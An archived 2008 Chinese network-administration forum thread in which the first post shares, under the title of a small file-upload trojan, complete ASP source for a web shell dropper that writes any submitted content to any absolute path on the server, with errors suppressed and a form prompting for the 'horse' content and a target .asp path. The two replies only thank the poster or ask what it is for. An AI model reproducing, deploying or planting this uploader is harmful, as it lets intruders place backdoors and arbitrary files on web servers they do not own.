中国网管论坛's Archiver

冰风剑 发表于 2008-2-25 08:46

一个小小的文件上传木马程序

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>  

<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "输入马的内容:"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=保存>"%>
<%Response.write "</form>"%>

song2007 发表于 2008-2-28 14:54

辛苦了····· 顶一下:victory:

pengjh1015 发表于 2008-3-1 17:13

这个有什么用啊:lol

页: [1]

Powered by Discuz! Archiver 6.1.0  © 1999-2008 bbs.bitsCN.com